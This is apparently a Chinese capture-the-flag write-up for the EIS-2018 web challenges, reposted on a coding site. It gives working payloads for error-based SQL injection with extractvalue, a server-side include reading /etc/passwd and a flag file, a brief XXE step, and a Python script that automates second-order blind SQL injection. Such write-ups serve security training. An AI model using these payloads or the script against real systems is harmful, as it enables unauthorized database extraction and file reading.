EIS-2018-web

栏目: 数据库 · 发布时间: 7年前

随手登录一下

EIS-2018-web

发现报错,于是尝试

admin' and (extractvalue(1,concat(0x7e,database())))#

EIS-2018-web

admin' and (extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))))#

EIS-2018-web

admin' and (extractvalue(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'))))#

EIS-2018-web

admin' and (extractvalue(1,concat(0x7e,(select flag from flag limit 0,1))))#

EIS-2018-web 前半段

'~EIS{7879f0a27d8bcfcff0bcc837d76'
admin' and (extractvalue(1,concat(0x7e,(select substr(flag,30,60) from flag limit 0,1))))#

EIS-2018-web 后半段

~7641e81}

最后flag

EIS{7879f0a27d8bcfcff0bcc837d7641e81}

SimpleServerInjection

题目提示

SimpleServerInjection, SSI, flag in current directory

随即搜索SSI

https://blog.csdn.net/wutianxu123/article/details/82724637

结果这个文章第一个就是payload。。。

<!--#include virtual="/etc/passwd" -->

于是测试

http://210.32.4.22/index.php?name=<!--#include virtual="flag" -->

EIS-2018-web 得到flag

EIS{59f2c02f18838b3fb57dd57e2808f9c2}

SimpleExtensionExplorerInjection

题目提示XXE,直接xxe是不行的

EIS-2018-web

所以需要改type

EIS-2018-web

然后即可xxe读文件,得到flag

SimplePrintEventLogger

直接可以进行列目录

EIS-2018-web

然后得到flag

EIS-2018-web

不知道是不是非预期了?题目提示RCE,还有一个backdoor的路由没用上

EIS-2018-web

SimpleBlog

发现题目提示2次注入

EIS-2018-web

于是尝试注册

sky'
sky'#

发现前者分数都是0,后者有分数

那么可以判断,更新分数的时候使用了用户名

但是想要构造一般的bool盲注不行,因为必须 sql 语句报错

这里想到整数溢出问题

1' and if(1,exp(999999999999),1)#

这样即可使sql语句报错,导致出现

grade 0

而如果使用

1' and if(0,exp(999999999999),1)#

那么分数一切正常,于是可以利用这一点进行注入

编写脚本

import requests
def reg(username,password='1'):
    data = {
        'username':username,
        'password':password
    }
    url = 'http://210.32.4.20/register.php'
    r = requests.post(url=url,data=data)
    return r.headers['Set-Cookie'][10:-8]

def login(session,username,password='1'):
    data = {
        'username': username,
        'password': password
    }
    cookie = {
        'PHPSESSID':session
    }
    url = 'http://210.32.4.20/login.php'
    r = requests.post(url=url, data=data,cookies=cookie)
    data = {
        '10.a':'on'
    }
    url = 'http://210.32.4.20/answer.php'
    r = requests.post(url=url, data=data,cookies=cookie)
    if 'Your grades is 0' in r.content:
        return 1
    url = 'http://210.32.4.20/logout.php'
    r = requests.get(url=url,cookies=cookie)
    return 0
flag = 'EIS{'
for i in range(5,1000):
    for k in 'abcdef0123456789}':
        j = ord(k)
        payload='''1' and if((ascii(substr((select flag from flag limit 0,1),%d,1))=%d),exp(999999999999),1)#'''%(i,j)
        try:
            session = reg(payload)
            if login(session,payload):
                flag+=chr(j)
                print flag
                break
        except:
            session = reg(payload)
            if login(session,payload):
                flag+=chr(j)
                print flag
                break
EIS-2018-web

不知道题目提示文件包含是什么意思,可能非预期了?

EIS-2018-web

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法

算法

Robert Sedgewick、Kevin Wayne / 人民邮电出版社 / 2012-3 / 99.00元

《算法(英文版•第4版)》作为算法领域经典的参考书,全面介绍了关于算法和数据结构的必备知识,并特别针对排序、搜索、图处理和字符串处理进行了论述。第4版具体给出了每位程序员应知应会的50个算法,提供了实际代码,而且这些Java代码实现采用了模块化的编程风格,读者可以方便地加以改造。本书配套网站提供了本书内容的摘要及更多的代码实现、测试数据、练习、教学课件等资源。 《算法(英文版•第4版)》适合......一起来看看 《算法》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

URL 编码/解码
URL 编码/解码

URL 编码/解码